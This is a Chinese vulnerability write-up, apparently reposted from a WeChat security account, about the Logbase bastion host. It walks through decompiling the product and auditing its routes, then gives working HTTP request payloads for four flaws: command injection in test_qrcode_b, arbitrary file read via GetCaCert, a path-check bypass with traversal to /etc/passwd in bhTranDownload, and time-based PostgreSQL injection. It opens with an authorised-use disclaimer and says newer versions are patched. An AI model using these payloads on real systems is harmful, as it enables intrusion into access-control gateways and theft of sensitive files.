Logbase思迪福堡垒机漏洞分析

admin 2023年12月17日20:34:05评论143 views字数 3553阅读11分50秒阅读模式

博大作战中的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

1
前言
最近看到网上发布了这个堡垒机的rce
https://mp.weixin.qq.com/s/tWRD9oYo5eNeyLcf_pv2ewhttps://mp.weixin.qq.com/s/rmWBOQaE4aSxWI9VYBRpHg...
Logbase思迪福堡垒机漏洞分析
着水点公众号文章的想法,弄了份源码看了下,发现源码并不大,结构也不复杂,正好符合我们水文章的需求,开整!
首先,该堡垒机程序是python编译成pyc文件运行的,我们先进行反编译
// 安装pip install uncompyle6

// 查看版本uncompyle6 --version

// 使用,-o outfile必须先写,例如有一个pcat.pyc,想反编译输出文件为pcat.pyuncompyle6 -o pcat.py pcat.pyc
Logbase思迪福堡垒机漏洞分析
通过一顿反编译我们就得到了源码,就可以开始正式审计了
2
路由分析
我们直接来挖前台可以被利用的漏洞,路由的话,因为是python写的,其实还是比较明显的
# devshmwwwmanagebhostlogin.py@app.route("/lchk", methods=['GET', 'POST']) // 对应请求url为 http://xxxx/bhost/lchk  ....

# 认证机制基本上是:# 客户端输入账号密码->服务端匹配成功的情况->返回session,客户端拿着这个session再去请求其他的需要权限校验的接口# 由于得到的代码不全并没有sessionchek的定义,就先不管这些

Logbase思迪福堡垒机漏洞分析
使用自己平时写的静态分析工具进行一波分析,输出可能存在漏洞的接口信息输出:logbase.txt
Logbase思迪福堡垒机漏洞分析
3
test_qrcode_b命令执行漏洞

Logbase思迪福堡垒机漏洞分析

发现传参没过滤直接拼接从而造成了rce
Logbase思迪福堡垒机漏洞分析
数据包:POST /bhost/test_qrcode_b HTTP/1.1User-Agent: Go-http-client/1.1Accept-Encoding: gzip, deflate, brAccept: gzipConnection: closeReferer: Content-Type: application/x-www-form-urlencodedHost: Content-Length: 23

z1=1&z2="|id;"&z3=bhost
Logbase思迪福堡垒机漏洞分析
4
GetCaCert接口任意文件读取
Logbase思迪福堡垒机漏洞分析
# 发现传参没过滤直接拼接造成了任意文件读取@app.route("/GetCaCert", methods=['GET', 'POST']) # 文件读取 参数a1def GetCaCert():  headers  = str(request.headers) ;  debug(headers)  if headers.find("a1") < 0:    Name = request.args.get('a1')  else:    Name = headers.split('a1',0)[1].split()[1];    try:    if os.path.exists('/usr/etc/'+Name):      fp = open('/usr/etc/'+Name,'r');      # 返回读取的内容并base64      a = base64.b64encode(fp.read());      return a,200    else:      return '',400  except pyodbc.Error,e:    return '',400

Logbase思迪福堡垒机漏洞分析
返回base64的文件读取内容

Logbase思迪福堡垒机漏洞分析
5
bhTranDownload接口任意文件读取
1 根据阅读源码我们需要在请求头处构造poc

2 bhTranDownload接口其实是有判断逻辑,但因为判断逻辑有点毛病可以绕过,这里是有两个判断的2.1 判断1def check_path(path):  for one in list_path:    if path.find(one) >=0:      return True  return False

list_path = ['/usr/storage/.system/upload','/usr/storage/.system/replay','/usr/storage/.system/software','/usr/storage/.system/update','/usr/storage/.system/config/backup','/usr/storage/.system/dwload','/usr/storage/.system/passwd','/usr/storage/.system/backup','/usr/storage/.system/transf','/usr/ssl/certs']if check_path(Path) == False and Filename !='cf_tnsora':     return '-1',403;    为了绕过这个判断 我们需要把内容设置为list_path中的内容



2.2 判断2将/usr/storage/.system/software base64编码并且固定在此处就可以通过if Path.find("/software") >=0 or Method =='GetSize' or Filename =='cf_tnsora':  passelse:  sessioncheck绕过下面图中的那个else:避免进入鉴权

3 基于上面的说法 我们选择/usr/storage/.system/software来进行base64绕过这些

则:Filename:xxxxxxxxxxxxxxx../../../etc/passwd base64编码希望读取的漏洞路径Path:L3Vzci9zdG9yYWdlLy5zeXN0ZW0vc29mdHdhcmU=  编码前的内容是/usr/storage/.system/software最终实现任意文件读取
Logbase思迪福堡垒机漏洞分析
GET /bhost/bhTranDownload HTTP/1.1Host: xxxxxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0Filename:xxxxxxxxxxxxxxx../../../etc/passwd base64编码希望读取的漏洞路径Session:111Path:L3Vzci9zdG9yYWdlLy5zeXN0ZW0vc29mdHdhcmU= 编码前的内容是/usr/storage/.system/softwareOffset:0Content-Length: 2Sesstimet:111Referer: https://xxxxxxxxx/
Logbase思迪福堡垒机漏洞分析
6
PostgreSQL 注入漏洞
Logbase思迪福堡垒机漏洞分析
发现传参没过滤直接拼接造成了注入
Logbase思迪福堡垒机漏洞分析
POST /bhost/repeat_get_usb_status HTTP/1.1Host: xxxxxxxCookie: bhost=xxxxxxxxxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 20Origin: https://xxxxxxxxxxxDnt: 1Referer: https://xxxxxxxx/bhost/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: close

z1='||pg_sleep(2)||'

每pg_sleep(1)是2000mills延迟,这洞版本有点老,找半天才复现成功
Logbase思迪福堡垒机漏洞分析
Logbase思迪福堡垒机漏洞分析
7
总结
总的来说这堡垒机比较老还是不少洞的,但新版本均修复了上述这些,分享出来供需者学习,水一篇文章吧

原文始发于微信公众号(WK安全):Logbase思迪福堡垒机漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月17日20:34:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Logbase思迪福堡垒机漏洞分析https://cn-sec.com/archives/2310235.html

发表评论

匿名网友 填写信息